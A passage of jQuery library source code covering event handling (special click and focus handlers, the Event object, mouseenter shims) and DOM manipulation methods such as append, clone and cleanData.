:\n\t\t\tnew jQuery.Event( originalEvent );\n\t},\n\n\tspecial: {\n\t\tload: {\n\n\t\t\t// Prevent triggered image.load events from bubbling to window.load\n\t\t\tnoBubble: true\n\t\t},\n\t\tclick: {\n\n\t\t\t// Utilize native event to ensure correct state for checkable inputs\n\t\t\tsetup: function( data ) {\n\n\t\t\t\t// For mutual compressibility with _default, replace `this` access with a local var.\n\t\t\t\t// `|| data` is dead code meant only to preserve the variable through minification.\n\t\t\t\tvar el = this || data;\n\n\t\t\t\t// Claim the first handler\n\t\t\t\tif ( rcheckableType.test( el.type ) &&\n\t\t\t\t\tel.click && nodeName( el, \"input\" ) ) {\n\n\t\t\t\t\t// dataPriv.set( el, \"click\", ... )\n\t\t\t\t\tleverageNative( el, \"click\", true );\n\t\t\t\t}\n\n\t\t\t\t// Return false to allow normal processing in the caller\n\t\t\t\treturn false;\n\t\t\t},\n\t\t\ttrigger: function( data ) {\n\n\t\t\t\t// For mutual compressibility with _default, replace `this` access with a local var.\n\t\t\t\t// `|| data` is dead code meant only to preserve the variable through minification.\n\t\t\t\tvar el = this || data;\n\n\t\t\t\t// Force setup before triggering a click\n\t\t\t\tif ( rcheckableType.test( el.type ) &&\n\t\t\t\t\tel.click && nodeName( el, \"input\" ) ) {\n\n\t\t\t\t\tleverageNative( el, \"click\" );\n\t\t\t\t}\n\n\t\t\t\t// Return non-false to allow normal event-path propagation\n\t\t\t\treturn true;\n\t\t\t},\n\n\t\t\t// For cross-browser consistency, suppress native .click() on links\n\t\t\t// Also prevent it if we're currently inside a leveraged native-event stack\n\t\t\t_default: function( event ) {\n\t\t\t\tvar target = event.target;\n\t\t\t\treturn rcheckableType.test( target.type ) &&\n\t\t\t\t\ttarget.click && nodeName( target, \"input\" ) &&\n\t\t\t\t\tdataPriv.get( target, \"click\" ) ||\n\t\t\t\t\tnodeName( target, \"a\" );\n\t\t\t}\n\t\t},\n\n\t\tbeforeunload: {\n\t\t\tpostDispatch: function( event ) {\n\n\t\t\t\t// Support: Firefox 20+\n\t\t\t\t// Firefox doesn't alert if the returnValue field is not set.\n\t\t\t\tif ( event.result !== undefined && event.originalEvent ) {\n\t\t\t\t\tevent.originalEvent.returnValue = event.result;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n};\n\n// Ensure the presence of an event listener that handles manually-triggered\n// synthetic events by interrupting progress until reinvoked in response to\n// *native* events that it fires directly, ensuring that state changes have\n// already occurred before other listeners are invoked.\nfunction leverageNative( el, type, isSetup ) {\n\n\t// Missing `isSetup` indicates a trigger call, which must force setup through jQuery.event.add\n\tif ( !isSetup ) {\n\t\tif ( dataPriv.get( el, type ) === undefined ) {\n\t\t\tjQuery.event.add( el, type, returnTrue );\n\t\t}\n\t\treturn;\n\t}\n\n\t// Register the controller as a special universal handler for all event namespaces\n\tdataPriv.set( el, type, false );\n\tjQuery.event.add( el, type, {\n\t\tnamespace: false,\n\t\thandler: function( event ) {\n\t\t\tvar result,\n\t\t\t\tsaved = dataPriv.get( this, type );\n\n\t\t\tif ( ( event.isTrigger & 1 ) && this[ type ] ) {\n\n\t\t\t\t// Interrupt processing of the outer synthetic .trigger()ed event\n\t\t\t\tif ( !saved ) {\n\n\t\t\t\t\t// Store arguments for use when handling the inner native event\n\t\t\t\t\t// There will always be at least one argument (an event object), so this array\n\t\t\t\t\t// will not be confused with a leftover capture object.\n\t\t\t\t\tsaved = slice.call( arguments );\n\t\t\t\t\tdataPriv.set( this, type, saved );\n\n\t\t\t\t\t// Trigger the native event and capture its result\n\t\t\t\t\tthis[ type ]();\n\t\t\t\t\tresult = dataPriv.get( this, type );\n\t\t\t\t\tdataPriv.set( this, type, false );\n\n\t\t\t\t\tif ( saved !== result ) {\n\n\t\t\t\t\t\t// Cancel the outer synthetic event\n\t\t\t\t\t\tevent.stopImmediatePropagation();\n\t\t\t\t\t\tevent.preventDefault();\n\n\t\t\t\t\t\treturn result;\n\t\t\t\t\t}\n\n\t\t\t\t// If this is an inner synthetic event for an event with a bubbling surrogate\n\t\t\t\t// (focus or blur), assume that the surrogate already propagated from triggering\n\t\t\t\t// the native event and prevent that from happening again here.\n\t\t\t\t// This technically gets the ordering wrong w.r.t. to `.trigger()` (in which the\n\t\t\t\t// bubbling surrogate propagates *after* the non-bubbling base), but that seems\n\t\t\t\t// less bad than duplication.\n\t\t\t\t} else if ( ( jQuery.event.special[ type ] || {} ).delegateType ) {\n\t\t\t\t\tevent.stopPropagation();\n\t\t\t\t}\n\n\t\t\t// If this is a native event triggered above, everything is now in order\n\t\t\t// Fire an inner synthetic event with the original arguments\n\t\t\t} else if ( saved ) {\n\n\t\t\t\t// ...and capture the result\n\t\t\t\tdataPriv.set( this, type, jQuery.event.trigger(\n\t\t\t\t\tsaved[ 0 ],\n\t\t\t\t\tsaved.slice( 1 ),\n\t\t\t\t\tthis\n\t\t\t\t) );\n\n\t\t\t\t// Abort handling of the native event by all jQuery handlers while allowing\n\t\t\t\t// native handlers on the same element to run. On target, this is achieved\n\t\t\t\t// by stopping immediate propagation just on the jQuery event. However,\n\t\t\t\t// the native event is re-wrapped by a jQuery one on each level of the\n\t\t\t\t// propagation so the only way to stop it for jQuery is to stop it for\n\t\t\t\t// everyone via native `stopPropagation()`. This is not a problem for\n\t\t\t\t// focus/blur which don't bubble, but it does also stop click on checkboxes\n\t\t\t\t// and radios. We accept this limitation.\n\t\t\t\tevent.stopPropagation();\n\t\t\t\tevent.isImmediatePropagationStopped = returnTrue;\n\t\t\t}\n\t\t}\n\t} );\n}\n\njQuery.removeEvent = function( elem, type, handle ) {\n\n\t// This \"if\" is needed for plain objects\n\tif ( elem.removeEventListener ) {\n\t\telem.removeEventListener( type, handle );\n\t}\n};\n\njQuery.Event = function( src, props ) {\n\n\t// Allow instantiation without the 'new' keyword\n\tif ( !( this instanceof jQuery.Event ) ) {\n\t\treturn new jQuery.Event( src, props );\n\t}\n\n\t// Event object\n\tif ( src && src.type ) {\n\t\tthis.originalEvent = src;\n\t\tthis.type = src.type;\n\n\t\t// Events bubbling up the document may have been marked as prevented\n\t\t// by a handler lower down the tree; reflect the correct value.\n\t\tthis.isDefaultPrevented = src.defaultPrevented ||\n\t\t\t\tsrc.defaultPrevented === undefined &&\n\n\t\t\t\t// Support: Android <=2.3 only\n\t\t\t\tsrc.returnValue === false ?\n\t\t\treturnTrue :\n\t\t\treturnFalse;\n\n\t\t// Create target properties\n\t\t// Support: Safari <=6 - 7 only\n\t\t// Target should not be a text node (trac-504, trac-13143)\n\t\tthis.target = ( src.target && src.target.nodeType === 3 ) ?\n\t\t\tsrc.target.parentNode :\n\t\t\tsrc.target;\n\n\t\tthis.currentTarget = src.currentTarget;\n\t\tthis.relatedTarget = src.relatedTarget;\n\n\t// Event type\n\t} else {\n\t\tthis.type = src;\n\t}\n\n\t// Put explicitly provided properties onto the event object\n\tif ( props ) {\n\t\tjQuery.extend( this, props );\n\t}\n\n\t// Create a timestamp if incoming event doesn't have one\n\tthis.timeStamp = src && src.timeStamp || Date.now();\n\n\t// Mark it as fixed\n\tthis[ jQuery.expando ] = true;\n};\n\n// jQuery.Event is based on DOM3 Events as specified by the ECMAScript Language Binding\n// https://www.w3.org/TR/2003/WD-DOM-Level-3-Events-20030331/ecma-script-binding.html\njQuery.Event.prototype = {\n\tconstructor: jQuery.Event,\n\tisDefaultPrevented: returnFalse,\n\tisPropagationStopped: returnFalse,\n\tisImmediatePropagationStopped: returnFalse,\n\tisSimulated: false,\n\n\tpreventDefault: function() {\n\t\tvar e = this.originalEvent;\n\n\t\tthis.isDefaultPrevented = returnTrue;\n\n\t\tif ( e && !this.isSimulated ) {\n\t\t\te.preventDefault();\n\t\t}\n\t},\n\tstopPropagation: function() {\n\t\tvar e = this.originalEvent;\n\n\t\tthis.isPropagationStopped = returnTrue;\n\n\t\tif ( e && !this.isSimulated ) {\n\t\t\te.stopPropagation();\n\t\t}\n\t},\n\tstopImmediatePropagation: function() {\n\t\tvar e = this.originalEvent;\n\n\t\tthis.isImmediatePropagationStopped = returnTrue;\n\n\t\tif ( e && !this.isSimulated ) {\n\t\t\te.stopImmediatePropagation();\n\t\t}\n\n\t\tthis.stopPropagation();\n\t}\n};\n\n// Includes all common event props including KeyEvent and MouseEvent specific props\njQuery.each( {\n\taltKey: true,\n\tbubbles: true,\n\tcancelable: true,\n\tchangedTouches: true,\n\tctrlKey: true,\n\tdetail: true,\n\teventPhase: true,\n\tmetaKey: true,\n\tpageX: true,\n\tpageY: true,\n\tshiftKey: true,\n\tview: true,\n\t\"char\": true,\n\tcode: true,\n\tcharCode: true,\n\tkey: true,\n\tkeyCode: true,\n\tbutton: true,\n\tbuttons: true,\n\tclientX: true,\n\tclientY: true,\n\toffsetX: true,\n\toffsetY: true,\n\tpointerId: true,\n\tpointerType: true,\n\tscreenX: true,\n\tscreenY: true,\n\ttargetTouches: true,\n\ttoElement: true,\n\ttouches: true,\n\twhich: true\n}, jQuery.event.addProp );\n\njQuery.each( { focus: \"focusin\", blur: \"focusout\" }, function( type, delegateType ) {\n\n\tfunction focusMappedHandler( nativeEvent ) {\n\t\tif ( document.documentMode ) {\n\n\t\t\t// Support: IE 11+\n\t\t\t// Attach a single focusin/focusout handler on the document while someone wants\n\t\t\t// focus/blur. This is because the former are synchronous in IE while the latter\n\t\t\t// are async. In other browsers, all those handlers are invoked synchronously.\n\n\t\t\t// `handle` from private data would already wrap the event, but we need\n\t\t\t// to change the `type` here.\n\t\t\tvar handle = dataPriv.get( this, \"handle\" ),\n\t\t\t\tevent = jQuery.event.fix( nativeEvent );\n\t\t\tevent.type = nativeEvent.type === \"focusin\" ? \"focus\" : \"blur\";\n\t\t\tevent.isSimulated = true;\n\n\t\t\t// First, handle focusin/focusout\n\t\t\thandle( nativeEvent );\n\n\t\t\t// ...then, handle focus/blur\n\t\t\t//\n\t\t\t// focus/blur don't bubble while focusin/focusout do; simulate the former by only\n\t\t\t// invoking the handler at the lower level.\n\t\t\tif ( event.target === event.currentTarget ) {\n\n\t\t\t\t// The setup part calls `leverageNative`, which, in turn, calls\n\t\t\t\t// `jQuery.event.add`, so event handle will already have been set\n\t\t\t\t// by this point.\n\t\t\t\thandle( event );\n\t\t\t}\n\t\t} else {\n\n\t\t\t// For non-IE browsers, attach a single capturing handler on the document\n\t\t\t// while someone wants focusin/focusout.\n\t\t\tjQuery.event.simulate( delegateType, nativeEvent.target,\n\t\t\t\tjQuery.event.fix( nativeEvent ) );\n\t\t}\n\t}\n\n\tjQuery.event.special[ type ] = {\n\n\t\t// Utilize native event if possible so blur/focus sequence is correct\n\t\tsetup: function() {\n\n\t\t\tvar attaches;\n\n\t\t\t// Claim the first handler\n\t\t\t// dataPriv.set( this, \"focus\", ... )\n\t\t\t// dataPriv.set( this, \"blur\", ... )\n\t\t\tleverageNative( this, type, true );\n\n\t\t\tif ( document.documentMode ) {\n\n\t\t\t\t// Support: IE 9 - 11+\n\t\t\t\t// We use the same native handler for focusin & focus (and focusout & blur)\n\t\t\t\t// so we need to coordinate setup & teardown parts between those events.\n\t\t\t\t// Use `delegateType` as the key as `type` is already used by `leverageNative`.\n\t\t\t\tattaches = dataPriv.get( this, delegateType );\n\t\t\t\tif ( !attaches ) {\n\t\t\t\t\tthis.addEventListener( delegateType, focusMappedHandler );\n\t\t\t\t}\n\t\t\t\tdataPriv.set( this, delegateType, ( attaches || 0 ) + 1 );\n\t\t\t} else {\n\n\t\t\t\t// Return false to allow normal processing in the caller\n\t\t\t\treturn false;\n\t\t\t}\n\t\t},\n\t\ttrigger: function() {\n\n\t\t\t// Force setup before trigger\n\t\t\tleverageNative( this, type );\n\n\t\t\t// Return non-false to allow normal event-path propagation\n\t\t\treturn true;\n\t\t},\n\n\t\tteardown: function() {\n\t\t\tvar attaches;\n\n\t\t\tif ( document.documentMode ) {\n\t\t\t\tattaches = dataPriv.get( this, delegateType ) - 1;\n\t\t\t\tif ( !attaches ) {\n\t\t\t\t\tthis.removeEventListener( delegateType, focusMappedHandler );\n\t\t\t\t\tdataPriv.remove( this, delegateType );\n\t\t\t\t} else {\n\t\t\t\t\tdataPriv.set( this, delegateType, attaches );\n\t\t\t\t}\n\t\t\t} else {\n\n\t\t\t\t// Return false to indicate standard teardown should be applied\n\t\t\t\treturn false;\n\t\t\t}\n\t\t},\n\n\t\t// Suppress native focus or blur if we're currently inside\n\t\t// a leveraged native-event stack\n\t\t_default: function( event ) {\n\t\t\treturn dataPriv.get( event.target, type );\n\t\t},\n\n\t\tdelegateType: delegateType\n\t};\n\n\t// Support: Firefox <=44\n\t// Firefox doesn't have focus(in | out) events\n\t// Related ticket - https://bugzilla.mozilla.org/show_bug.cgi?id=687787\n\t//\n\t// Support: Chrome <=48 - 49, Safari <=9.0 - 9.1\n\t// focus(in | out) events fire after focus & blur events,\n\t// which is spec violation - http://www.w3.org/TR/DOM-Level-3-Events/#events-focusevent-event-order\n\t// Related ticket - https://bugs.chromium.org/p/chromium/issues/detail?id=449857\n\t//\n\t// Support: IE 9 - 11+\n\t// To preserve relative focusin/focus & focusout/blur event order guaranteed on the 3.x branch,\n\t// attach a single handler for both events in IE.\n\tjQuery.event.special[ delegateType ] = {\n\t\tsetup: function() {\n\n\t\t\t// Handle: regular nodes (via `this.ownerDocument`), window\n\t\t\t// (via `this.document`) & document (via `this`).\n\t\t\tvar doc = this.ownerDocument || this.document || this,\n\t\t\t\tdataHolder = document.documentMode ? this : doc,\n\t\t\t\tattaches = dataPriv.get( dataHolder, delegateType );\n\n\t\t\t// Support: IE 9 - 11+\n\t\t\t// We use the same native handler for focusin & focus (and focusout & blur)\n\t\t\t// so we need to coordinate setup & teardown parts between those events.\n\t\t\t// Use `delegateType` as the key as `type` is already used by `leverageNative`.\n\t\t\tif ( !attaches ) {\n\t\t\t\tif ( document.documentMode ) {\n\t\t\t\t\tthis.addEventListener( delegateType, focusMappedHandler );\n\t\t\t\t} else {\n\t\t\t\t\tdoc.addEventListener( type, focusMappedHandler, true );\n\t\t\t\t}\n\t\t\t}\n\t\t\tdataPriv.set( dataHolder, delegateType, ( attaches || 0 ) + 1 );\n\t\t},\n\t\tteardown: function() {\n\t\t\tvar doc = this.ownerDocument || this.document || this,\n\t\t\t\tdataHolder = document.documentMode ? this : doc,\n\t\t\t\tattaches = dataPriv.get( dataHolder, delegateType ) - 1;\n\n\t\t\tif ( !attaches ) {\n\t\t\t\tif ( document.documentMode ) {\n\t\t\t\t\tthis.removeEventListener( delegateType, focusMappedHandler );\n\t\t\t\t} else {\n\t\t\t\t\tdoc.removeEventListener( type, focusMappedHandler, true );\n\t\t\t\t}\n\t\t\t\tdataPriv.remove( dataHolder, delegateType );\n\t\t\t} else {\n\t\t\t\tdataPriv.set( dataHolder, delegateType, attaches );\n\t\t\t}\n\t\t}\n\t};\n} );\n\n// Create mouseenter/leave events using mouseover/out and event-time checks\n// so that event delegation works in jQuery.\n// Do the same for pointerenter/pointerleave and pointerover/pointerout\n//\n// Support: Safari 7 only\n// Safari sends mouseenter too often; see:\n// https://bugs.chromium.org/p/chromium/issues/detail?id=470258\n// for the description of the bug (it existed in older Chrome versions as well).\njQuery.each( {\n\tmouseenter: \"mouseover\",\n\tmouseleave: \"mouseout\",\n\tpointerenter: \"pointerover\",\n\tpointerleave: \"pointerout\"\n}, function( orig, fix ) {\n\tjQuery.event.special[ orig ] = {\n\t\tdelegateType: fix,\n\t\tbindType: fix,\n\n\t\thandle: function( event ) {\n\t\t\tvar ret,\n\t\t\t\ttarget = this,\n\t\t\t\trelated = event.relatedTarget,\n\t\t\t\thandleObj = event.handleObj;\n\n\t\t\t// For mouseenter/leave call the handler if related is outside the target.\n\t\t\t// NB: No relatedTarget if the mouse left/entered the browser window\n\t\t\tif ( !related || ( related !== target && !jQuery.contains( target, related ) ) ) {\n\t\t\t\tevent.type = handleObj.origType;\n\t\t\t\tret = handleObj.handler.apply( this, arguments );\n\t\t\t\tevent.type = fix;\n\t\t\t}\n\t\t\treturn ret;\n\t\t}\n\t};\n} );\n\njQuery.fn.extend( {\n\n\ton: function( types, selector, data, fn ) {\n\t\treturn on( this, types, selector, data, fn );\n\t},\n\tone: function( types, selector, data, fn ) {\n\t\treturn on( this, types, selector, data, fn, 1 );\n\t},\n\toff: function( types, selector, fn ) {\n\t\tvar handleObj, type;\n\t\tif ( types && types.preventDefault && types.handleObj ) {\n\n\t\t\t// ( event ) dispatched jQuery.Event\n\t\t\thandleObj = types.handleObj;\n\t\t\tjQuery( types.delegateTarget ).off(\n\t\t\t\thandleObj.namespace ?\n\t\t\t\t\thandleObj.origType + \".\" + handleObj.namespace :\n\t\t\t\t\thandleObj.origType,\n\t\t\t\thandleObj.selector,\n\t\t\t\thandleObj.handler\n\t\t\t);\n\t\t\treturn this;\n\t\t}\n\t\tif ( typeof types === \"object\" ) {\n\n\t\t\t// ( types-object [, selector] )\n\t\t\tfor ( type in types ) {\n\t\t\t\tthis.off( type, selector, types[ type ] );\n\t\t\t}\n\t\t\treturn this;\n\t\t}\n\t\tif ( selector === false || typeof selector === \"function\" ) {\n\n\t\t\t// ( types [, fn] )\n\t\t\tfn = selector;\n\t\t\tselector = undefined;\n\t\t}\n\t\tif ( fn === false ) {\n\t\t\tfn = returnFalse;\n\t\t}\n\t\treturn this.each( function() {\n\t\t\tjQuery.event.remove( this, types, fn, selector );\n\t\t} );\n\t}\n} );\n\n\nvar\n\n\t// Support: IE <=10 - 11, Edge 12 - 13 only\n\t// In IE/Edge using regex groups here causes severe slowdowns.\n\t// See https://connect.microsoft.com/IE/feedback/details/1736512/\n\trnoInnerhtml = /<script|<style|<link/i,\n\n\t// checked=\"checked\" or checked\n\trchecked = /checked\\s*(?:[^=]|=\\s*.checked.)/i,\n\n\trcleanScript = /^\\s*<!\\[CDATA\\[|\\]\\]>\\s*$/g;\n\n// Prefer a tbody over its parent table for containing new rows\nfunction manipulationTarget( elem, content ) {\n\tif ( nodeName( elem, \"table\" ) &&\n\t\tnodeName( content.nodeType !== 11 ? content : content.firstChild, \"tr\" ) ) {\n\n\t\treturn jQuery( elem ).children( \"tbody\" )[ 0 ] || elem;\n\t}\n\n\treturn elem;\n}\n\n// Replace/restore the type attribute of script elements for safe DOM manipulation\nfunction disableScript( elem ) {\n\telem.type = ( elem.getAttribute( \"type\" ) !== null ) + \"/\" + elem.type;\n\treturn elem;\n}\nfunction restoreScript( elem ) {\n\tif ( ( elem.type || \"\" ).slice( 0, 5 ) === \"true/\" ) {\n\t\telem.type = elem.type.slice( 5 );\n\t} else {\n\t\telem.removeAttribute( \"type\" );\n\t}\n\n\treturn elem;\n}\n\nfunction cloneCopyEvent( src, dest ) {\n\tvar i, l, type, pdataOld, udataOld, udataCur, events;\n\n\tif ( dest.nodeType !== 1 ) {\n\t\treturn;\n\t}\n\n\t// 1. Copy private data: events, handlers, etc.\n\tif ( dataPriv.hasData( src ) ) {\n\t\tpdataOld = dataPriv.get( src );\n\t\tevents = pdataOld.events;\n\n\t\tif ( events ) {\n\t\t\tdataPriv.remove( dest, \"handle events\" );\n\n\t\t\tfor ( type in events ) {\n\t\t\t\tfor ( i = 0, l = events[ type ].length; i < l; i++ ) {\n\t\t\t\t\tjQuery.event.add( dest, type, events[ type ][ i ] );\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\t// 2. Copy user data\n\tif ( dataUser.hasData( src ) ) {\n\t\tudataOld = dataUser.access( src );\n\t\tudataCur = jQuery.extend( {}, udataOld );\n\n\t\tdataUser.set( dest, udataCur );\n\t}\n}\n\n// Fix IE bugs, see support tests\nfunction fixInput( src, dest ) {\n\tvar nodeName = dest.nodeName.toLowerCase();\n\n\t// Fails to persist the checked state of a cloned checkbox or radio button.\n\tif ( nodeName === \"input\" && rcheckableType.test( src.type ) ) {\n\t\tdest.checked = src.checked;\n\n\t// Fails to return the selected option to the default selected state when cloning options\n\t} else if ( nodeName === \"input\" || nodeName === \"textarea\" ) {\n\t\tdest.defaultValue = src.defaultValue;\n\t}\n}\n\nfunction domManip( collection, args, callback, ignored ) {\n\n\t// Flatten any nested arrays\n\targs = flat( args );\n\n\tvar fragment, first, scripts, hasScripts, node, doc,\n\t\ti = 0,\n\t\tl = collection.length,\n\t\tiNoClone = l - 1,\n\t\tvalue = args[ 0 ],\n\t\tvalueIsFunction = isFunction( value );\n\n\t// We can't cloneNode fragments that contain checked, in WebKit\n\tif ( valueIsFunction ||\n\t\t\t( l > 1 && typeof value === \"string\" &&\n\t\t\t\t!support.checkClone && rchecked.test( value ) ) ) {\n\t\treturn collection.each( function( index ) {\n\t\t\tvar self = collection.eq( index );\n\t\t\tif ( valueIsFunction ) {\n\t\t\t\targs[ 0 ] = value.call( this, index, self.html() );\n\t\t\t}\n\t\t\tdomManip( self, args, callback, ignored );\n\t\t} );\n\t}\n\n\tif ( l ) {\n\t\tfragment = buildFragment( args, collection[ 0 ].ownerDocument, false, collection, ignored );\n\t\tfirst = fragment.firstChild;\n\n\t\tif ( fragment.childNodes.length === 1 ) {\n\t\t\tfragment = first;\n\t\t}\n\n\t\t// Require either new content or an interest in ignored elements to invoke the callback\n\t\tif ( first || ignored ) {\n\t\t\tscripts = jQuery.map( getAll( fragment, \"script\" ), disableScript );\n\t\t\thasScripts = scripts.length;\n\n\t\t\t// Use the original fragment for the last item\n\t\t\t// instead of the first because it can end up\n\t\t\t// being emptied incorrectly in certain situations (trac-8070).\n\t\t\tfor ( ; i < l; i++ ) {\n\t\t\t\tnode = fragment;\n\n\t\t\t\tif ( i !== iNoClone ) {\n\t\t\t\t\tnode = jQuery.clone( node, true, true );\n\n\t\t\t\t\t// Keep references to cloned scripts for later restoration\n\t\t\t\t\tif ( hasScripts ) {\n\n\t\t\t\t\t\t// Support: Android <=4.0 only, PhantomJS 1 only\n\t\t\t\t\t\t// push.apply(_, arraylike) throws on ancient WebKit\n\t\t\t\t\t\tjQuery.merge( scripts, getAll( node, \"script\" ) );\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tcallback.call( collection[ i ], node, i );\n\t\t\t}\n\n\t\t\tif ( hasScripts ) {\n\t\t\t\tdoc = scripts[ scripts.length - 1 ].ownerDocument;\n\n\t\t\t\t// Re-enable scripts\n\t\t\t\tjQuery.map( scripts, restoreScript );\n\n\t\t\t\t// Evaluate executable scripts on first document insertion\n\t\t\t\tfor ( i = 0; i < hasScripts; i++ ) {\n\t\t\t\t\tnode = scripts[ i ];\n\t\t\t\t\tif ( rscriptType.test( node.type || \"\" ) &&\n\t\t\t\t\t\t!dataPriv.access( node, \"globalEval\" ) &&\n\t\t\t\t\t\tjQuery.contains( doc, node ) ) {\n\n\t\t\t\t\t\tif ( node.src && ( node.type || \"\" ).toLowerCase() !== \"module\" ) {\n\n\t\t\t\t\t\t\t// Optional AJAX dependency, but won't run scripts if not present\n\t\t\t\t\t\t\tif ( jQuery._evalUrl && !node.noModule ) {\n\t\t\t\t\t\t\t\tjQuery._evalUrl( node.src, {\n\t\t\t\t\t\t\t\t\tnonce: node.nonce || node.getAttribute( \"nonce\" )\n\t\t\t\t\t\t\t\t}, doc );\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t} else {\n\n\t\t\t\t\t\t\t// Unwrap a CDATA section containing script contents. This shouldn't be\n\t\t\t\t\t\t\t// needed as in XML documents they're already not visible when\n\t\t\t\t\t\t\t// inspecting element contents and in HTML documents they have no\n\t\t\t\t\t\t\t// meaning but we're preserving that logic for backwards compatibility.\n\t\t\t\t\t\t\t// This will be removed completely in 4.0. See gh-4904.\n\t\t\t\t\t\t\tDOMEval( node.textContent.replace( rcleanScript, \"\" ), node, doc );\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\treturn collection;\n}\n\nfunction remove( elem, selector, keepData ) {\n\tvar node,\n\t\tnodes = selector ? jQuery.filter( selector, elem ) : elem,\n\t\ti = 0;\n\n\tfor ( ; ( node = nodes[ i ] ) != null; i++ ) {\n\t\tif ( !keepData && node.nodeType === 1 ) {\n\t\t\tjQuery.cleanData( getAll( node ) );\n\t\t}\n\n\t\tif ( node.parentNode ) {\n\t\t\tif ( keepData && isAttached( node ) ) {\n\t\t\t\tsetGlobalEval( getAll( node, \"script\" ) );\n\t\t\t}\n\t\t\tnode.parentNode.removeChild( node );\n\t\t}\n\t}\n\n\treturn elem;\n}\n\njQuery.extend( {\n\thtmlPrefilter: function( html ) {\n\t\treturn html;\n\t},\n\n\tclone: function( elem, dataAndEvents, deepDataAndEvents ) {\n\t\tvar i, l, srcElements, destElements,\n\t\t\tclone = elem.cloneNode( true ),\n\t\t\tinPage = isAttached( elem );\n\n\t\t// Fix IE cloning issues\n\t\tif ( !support.noCloneChecked && ( elem.nodeType === 1 || elem.nodeType === 11 ) &&\n\t\t\t\t!jQuery.isXMLDoc( elem ) ) {\n\n\t\t\t// We eschew jQuery#find here for performance reasons:\n\t\t\t// https://jsperf.com/getall-vs-sizzle/2\n\t\t\tdestElements = getAll( clone );\n\t\t\tsrcElements = getAll( elem );\n\n\t\t\tfor ( i = 0, l = srcElements.length; i < l; i++ ) {\n\t\t\t\tfixInput( srcElements[ i ], destElements[ i ] );\n\t\t\t}\n\t\t}\n\n\t\t// Copy the events from the original to the clone\n\t\tif ( dataAndEvents ) {\n\t\t\tif ( deepDataAndEvents ) {\n\t\t\t\tsrcElements = srcElements || getAll( elem );\n\t\t\t\tdestElements = destElements || getAll( clone );\n\n\t\t\t\tfor ( i = 0, l = srcElements.length; i < l; i++ ) {\n\t\t\t\t\tcloneCopyEvent( srcElements[ i ], destElements[ i ] );\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tcloneCopyEvent( elem, clone );\n\t\t\t}\n\t\t}\n\n\t\t// Preserve script evaluation history\n\t\tdestElements = getAll( clone, \"script\" );\n\t\tif ( destElements.length > 0 ) {\n\t\t\tsetGlobalEval( destElements, !inPage && getAll( elem, \"script\" ) );\n\t\t}\n\n\t\t// Return the cloned set\n\t\treturn clone;\n\t},\n\n\tcleanData: function( elems ) {\n\t\tvar data, elem, type,\n\t\t\tspecial = jQuery.event.special,\n\t\t\ti = 0;\n\n\t\tfor ( ; ( elem = elems[ i ] ) !== undefined; i++ ) {\n\t\t\tif ( acceptData( elem ) ) {\n\t\t\t\tif ( ( data = elem[ dataPriv.expando ] ) ) {\n\t\t\t\t\tif ( data.events ) {\n\t\t\t\t\t\tfor ( type in data.events ) {\n\t\t\t\t\t\t\tif ( special[ type ] ) {\n\t\t\t\t\t\t\t\tjQuery.event.remove( elem, type );\n\n\t\t\t\t\t\t\t// This is a shortcut to avoid jQuery.event.remove's overhead\n\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\tjQuery.removeEvent( elem, type, data.handle );\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\n\t\t\t\t\t// Support: Chrome <=35 - 45+\n\t\t\t\t\t// Assign undefined instead of using delete, see Data#remove\n\t\t\t\t\telem[ dataPriv.expando ] = undefined;\n\t\t\t\t}\n\t\t\t\tif ( elem[ dataUser.expando ] ) {\n\n\t\t\t\t\t// Support: Chrome <=35 - 45+\n\t\t\t\t\t// Assign undefined instead of using delete, see Data#remove\n\t\t\t\t\telem[ dataUser.expando ] = undefined;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n} );\n\njQuery.fn.extend( {\n\tdetach: function( selector ) {\n\t\treturn remove( this, selector, true );\n\t},\n\n\tremove: function( selector ) {\n\t\treturn remove( this, selector );\n\t},\n\n\ttext: function( value ) {\n\t\treturn access( this, function( value ) {\n\t\t\treturn value === undefined ?\n\t\t\t\tjQuery.text( this ) :\n\t\t\t\tthis.empty().each( function() {\n\t\t\t\t\tif ( this.nodeType === 1 || this.nodeType === 11 || this.nodeType === 9 ) {\n\t\t\t\t\t\tthis.textContent = value;\n\t\t\t\t\t}\n\t\t\t\t} );\n\t\t}, null, value, arguments.length );\n\t},\n\n\tappend: function() {\n\t\treturn domManip( this, arguments, function( elem ) {\n\t\t\tif ( this.nodeType === 1 || this.nodeType === 11 || this.nodeType === 9 ) {\n\t\t\t\tvar target = manipulationTarget( this, elem );\n\t\t\t\ttarget.appendChild( elem );\n\t\t\t}\n\t\t} );\n\t},\n\n\tprepend: function() {\n\t\treturn domManip( this, arguments, function( elem ) {\n\t\t\tif ( this.nodeType === 1 || this.nodeType === 11 || this.nodeType === 9 ) {\n\t\t\t\tvar target = manipulationTarget( this, elem );\n\t\t\t\ttarget.insertBefore( elem, target.firstChild );\n\t\t\t}\n\t\t} );\n\t},\n\n\tbefore: function() {\n\t\treturn domManip( this, arguments, function( elem ) {\n\t\t\tif ( this.parentNode ) {\n\t\t\t\tthis.parentNode.insertBefore( elem, this );\n\t\t\t}\n\t\t} );\n\t},\n\n\tafter: function() {\n\t\treturn domManip( this, arguments, function( elem ) {\n\t\t\tif ( this.parentNode ) {\n\t\t\t\tthis.parentNode.insertBefore( elem, this.nextSibling );\n\t\t\t}\n\t\t} );\n\t},\n\n\tempty: function() {\n\t\tvar elem,\n\t\t\ti = 0;\n\n\t\tfor ( ; ( elem = this[ i ] ) != null; i++ ) {\n\t\t\tif ( elem.nodeType === 1 ) {\n\n\t\t\t\t// Prevent memory leaks\n\t\t\t\tjQuery.cleanData( getAll( elem, false ) );\n\n\t\t\t\t// Remove any remaining nodes\n\t\t\t\telem.textContent = \"\";\n\t\t\t}\n\t\t}\n\n\t\treturn this;\n\t},\n\n\tclone: function( dataAndEvents, deepDataAndEvents ) {\n\t\tdataAndEvents = dataAndEvents == null ? false : dataAndEvents;\n\t\tdeepDataAndEvents = deepDataAndEvents == null ? dataAndEvents : 